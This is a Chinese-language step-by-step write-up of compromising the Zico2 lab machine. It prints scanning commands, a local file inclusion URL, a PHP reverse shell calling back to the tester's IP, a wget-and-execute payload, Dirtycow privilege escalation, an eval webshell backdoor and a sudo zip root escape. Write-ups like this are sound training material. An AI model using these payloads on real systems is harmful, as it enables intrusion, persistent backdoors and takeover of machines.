靶机渗透(五)Zico2

靶机Zico2

一、实验环境

二、实验步骤

(一)信息收集

1.查看测试机的IP信息,判断所处网段

2.主机发现(netdiscover)

3.端口扫描(masscan/nmap)

(二)Web渗透

1.浏览web网页(80端口)

2.尝试利用文件包含漏洞

3.网站指纹信息扫描(whatweb)

4.目录扫描(dirb)

5.访问/dbadmin目录

6.查找数据库信息(用户)

7.尝试利用代码注入漏洞

8.获得反弹shell

9.Dirtycow提权

10.启用中国菜刀,获取webshell权限

11.清除痕迹

12.另一种提权方式(wp-config.php)


一、实验环境

1.靶机:Zico2

2.测试机:Kali

3.帮凶机:Windows 10

二、实验步骤

(一)信息收集

1.查看测试机的IP信息,判断所处网段

靶机渗透(五)Zico2

2.主机发现(netdiscover)

netdiscover -i eth0 -r 192.168.10.0/24

靶机渗透(五)Zico2

3.端口扫描(masscan/nmap)

masscan --rate=10000 --ports 0-65535 192.168.10.151
nmap -sV -T4 -p 111,80,52448,22 192.168.10.151

靶机渗透(五)Zico2

靶机渗透(五)Zico2

  • 开启了22(ssh服务)、80(http服务)、111(rpcbind,远程过程调用,将不同服务与对应的端口进行绑定,以便支持机器间的互操作)、37495(status)端口

(二)Web渗透

1.浏览web网页(80端口)

靶机渗透(五)Zico2

靶机渗透(五)Zico2

靶机渗透(五)Zico2

靶机渗透(五)Zico2

靶机渗透(五)Zico2

  • 发现文件包含漏洞

2.尝试利用文件包含漏洞

http://192.168.10.151/view.php?page=../../../../../etc/passwd

靶机渗透(五)Zico2

3.网站指纹信息扫描(whatweb)

whatweb 192.168.10.151

靶机渗透(五)Zico2

4.目录扫描(dirb)

dirb http://192.168.10.151

靶机渗透(五)Zico2

  • 将扫描出的路径逐个尝试

5.访问/dbadmin目录

http://192.168.10.151/dbadmin/

靶机渗透(五)Zico2

靶机渗透(五)Zico2

  • 看到一个登录界面,尝试弱口令(admin),登录成功

6.查找数据库信息(用户)

a.查找到账号信息

靶机渗透(五)Zico2

b.**账号密码

靶机渗透(五)Zico2

靶机渗透(五)Zico2

c.尝试远程登录(失败)

靶机渗透(五)Zico2

靶机渗透(五)Zico2

7.尝试利用代码注入漏洞

a.查询dbadmin数据库版本信息(searchsploit)

靶机渗透(五)Zico2

  • 存在代码注入漏洞

b.创建一个新的数据库(/usr/databases/hack.php)

靶机渗透(五)Zico2

c.创建一个test表

靶机渗透(五)Zico2

d.设置缺省值

靶机渗透(五)Zico2

靶机渗透(五)Zico2

e.利用文件包含漏洞

http://192.168.10.151/view.php?page=../../../../usr/databases/hack.php

靶机渗透(五)Zico2

8.获得反弹shell

a.测试机编写一个shell.txt,并开启apache服务

<?php $sock=fsockopen("192.168.10.128",6666);exec("/bin/sh -i <&3 >&3 2>&3");?>
/etc/init.d/apache2 start

靶机渗透(五)Zico2

b.将上步测试用的dbadmin中的test表删除,新建一个test1表

靶机渗透(五)Zico2

靶机渗透(五)Zico2

靶机渗透(五)Zico2

c.上传shell.txt文件至靶机

<?php system("wget 192.168.10.128/shell.txt -O /tmp/getshell.php; php /tmp/getshell.php");?>

靶机渗透(五)Zico2

d.测试机开启监听

nc -vnlp 6666

靶机渗透(五)Zico2

e.利用文件包含漏洞,访问dbadmin数据库

http://192.168.10.151/view.php?page=../../../../usr/databases/hack.php

靶机渗透(五)Zico2

f.拿到shell,转换成交互式tty

python -c 'import pty; pty.spawn("/bin/bash")'

靶机渗透(五)Zico2

9.Dirtycow提权

a.将dirtycow提权文件传至靶机

wget http://192.168.10.128/dirty.c

靶机渗透(五)Zico2

b.gcc编译dirty.c,执行exp

gcc -pthread dirty.c -o exp -lcrypt
./exp 123

靶机渗透(五)Zico2

c.查看passwd文件,查看此时用户情况

head -1 /etc/passwd

靶机渗透(五)Zico2

d.验证使用被改变的root用户登录

su firefart

靶机渗透(五)Zico2

e.编写后门文件

<?php @eval($_POST[cmd]);?>

靶机渗透(五)Zico2

  • 使用echo '<?php @eval($_POST[cmd]);?>' > abc.php编写后门

f.恢复password文件

mv /tmp/passwd.bak /etc/passwd
head -1 /etc/passwd

靶机渗透(五)Zico2

10.启用中国菜刀,获取webshell权限

靶机渗透(五)Zico2

靶机渗透(五)Zico2

靶机渗透(五)Zico2

11.清除痕迹

12.另一种提权方式(wp-config.php)

a.拿到shell后,查看用户文件

靶机渗透(五)Zico2

靶机渗透(五)Zico2

b.查看wp-config.php文件

cat wp-config.php

靶机渗透(五)Zico2

靶机渗透(五)Zico2

  • 发现MySQL database的账号zico(sWfCsfJSPV9H3AmQzw8)

c.尝试远程登录(成功)

ssh [email protected]

靶机渗透(五)Zico2

d.查看目前用户可执行与无法执行的指令

sudo -l

靶机渗透(五)Zico2

e.提权

touch /tmp/exploit
sudo zip exploit.zip exploit -T --unzip-command="python -c 'import pty; pty.spawn(\"/bin/sh\")'"

靶机渗透(五)Zico2

  • 创建一个随机文件,并用 zip 命令进行压缩

  • sudo 用管理员权限执行 -T 检查文件的完整性,这个参数可以让他执行下一个参数 --unzip-command,在这个参数中写入一个python的交互shell